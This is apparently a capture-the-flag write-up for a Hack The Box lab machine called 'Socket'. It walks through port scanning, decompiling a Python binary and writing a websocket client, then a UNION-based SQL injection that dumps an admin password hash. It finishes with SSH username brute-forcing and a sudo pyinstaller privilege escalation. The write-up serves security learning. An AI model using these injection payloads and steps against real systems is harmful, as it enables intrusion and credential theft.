Socket

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 3000 10.129.71.152    
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-27 00:57 EDT
Nmap scan report for 10.129.71.152
Host is up (0.17s latency).
Not shown: 65521 closed tcp ports (conn-refused)
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http
5789/tcp  open     unknown

We have to add qreader.htb to our /etc/hosts file. I ran a detailed scan on port 80 and found it is a Python based server:

80/tcp open  http    Apache httpd 2.4.52
| http-server-header: 
|   Apache/2.4.52 (Ubuntu)
|_  Werkzeug/2.1.2 Python/3.10.6

Qreader

Website presents some kind of QR Code maker / reader application:

We can actually download the application below and view the source code:

Additionally, we can submit a report when something goes wrong:

Interesting. When we download the file, we will get a binary and a test image:

┌──(kali㉿kali)-[~/htb/season/socket/app]
└─$ ls    
qreader  test.png
                                                                                             
┌──(kali㉿kali)-[~/htb/season/socket/app]
└─$ file qreader 
qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped

We can try to reverse engineer this application. I tried with ghidra but it produced a lot of code that I could not read. Instead, we need to use Python Decompilation as the web server runs the application in Python based on the earlier nmap scan of port 80.

We can decompile this using pyi-archive_viwer qreader, and then convert it into a pyc file via uncompyle6. Then, we can do source code analysis of the app.

Websocket SQL Injection

When reading the source code, we come across this:

def version(self):
    response = asyncio.run(ws_connect(ws_host + '/version', json.dumps({
        'version': VERSION })))
    data = json.loads(response)
    if 'error' not in data.keys():
        version_info = data['message']
        msg = f'''[INFO] You have version {version_info['version']} which was released on {version_info['released_date']}'''
        self.statusBar().showMessage(msg)
        return None
    error = None['error']
    self.statusBar().showMessage(error)

This connects to a websocket, which is on port 5789 after running an nmap scan to confirm. It appears to send some information via ws_connect to the /version directory.

5789/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Date: Mon, 27 Mar 2023 05:02:03 GMT
|     Server: Python/3.10 websockets/10.4
|     Content-Length: 77
|     Content-Type: text/plain
|     Connection: close
|     Failed to open a WebSocket connection: did not receive a valid HTTP request.

We can make a script to communicate with this port via websocket and send a JSON object for the version as per the script above.

from websocket import create_connection
import sys, json

ws_host = 'ws://qreader.htb:5789'

VERSION = '0.0.2'

ws = create_connection(ws_host + '/version')
ws.send(json.dumps({'version': VERSION}))
result = ws.recv()
print(result)
ws.close()

The output is as shown:

$ python3 exploit.py
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}

I tried playing around with the version number, and it would raise an Invalid Version! error each time it wasn't set to 0.0.2. When I appended a ", it would print nothing, indicating that there was an error in the backend since the code catches errors.

I played around with some UNION SQL injection, and found that the payload of 0.0.2"UNION SELECT 1,2,3,4;-- - generated no errors. Changing the number of columns results in an error, indicating that this application is indeed vulnerable to SQL Injection.

We can confirm the DBMS used by trying different version commands, and I found that sqlite_version() works.

$ python3 exploit.py
{"message": {"id": "3.37.2", "version": 2, "released_date": 3, "downloads": 4}}

With this, we can extract the tables present in sqlite_schema.

{"message": {"id": "sqlite_sequence,versions,users,info,reports,answers", "version": 2, "released_date": 3, "downloads": 4}}

There's a users table, and we can try to extract a username and password from it.

payload used: 0.0.2"UNION SELECT username,password,3,4 from users;-- -
{"message": {"id": "admin", "version": "0c090c365fa0559b151a43e0fea39710", "released_date": 3, "downloads": 4}}

Great! The hash can be cracked on crackstation:

Now, we need to find a username. I looked through the other tables of reports and answers.

{"message": {"id": "Hello Json,\n\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\n\nThomas Keller,Hello Mike,\n\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters for now!\n\nThomas Keller", "version": 2, "released_date": 3, "downloads": 4}}

This was done using group_concat(answers), and it seems that the user is either Mike, Thomas Keller or Json. I tested ssh with a wordlist of possible usernames generated from their names, and found that tkeller is the right user via hydra.

We can then ssh in as tkeller and grab the user flag.

Privilege Escalation

Sudo Pyinstaller

Checking the sudo privileges we have, I found that we can run bash script as root.

tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tkeller may run the following commands on socket:
    (ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh

Here's the contents of that script:

#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
  /usr/bin/echo "No enough arguments supplied"
  exit 1;
fi

action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')

if [[ -L $name ]];then
  /usr/bin/echo 'Symlinks are not allowed'
  exit 1;
fi

if [[ $action == 'build' ]]; then
  if [[ $ext == 'spec' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /home/svc/.local/bin/pyinstaller $name
    /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'make' ]]; then
  if [[ $ext == 'py' ]] ; then
    /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
    /root/.local/bin/pyinstaller -F --name "qreader" $name --specpath /tmp
   /usr/bin/mv ./dist ./build /opt/shared
  else
    echo "Invalid file format"
    exit 1;
  fi
elif [[ $action == 'cleanup' ]]; then
  /usr/bin/rm -r ./build ./dist 2>/dev/null
  /usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
  /usr/bin/rm /tmp/qreader* 2>/dev/null
else
  /usr/bin/echo 'Invalid action'
  exit 1;
fi

So this script checks for a .spec file extension, and takes an $action argument from us. It appears that the build option runs pyinstaller on the file we choose. What pyinstaller does is just run the code we specify.

As such, the exploit is simple.

Pretty straightforward machine. The hard part was the SQL injection.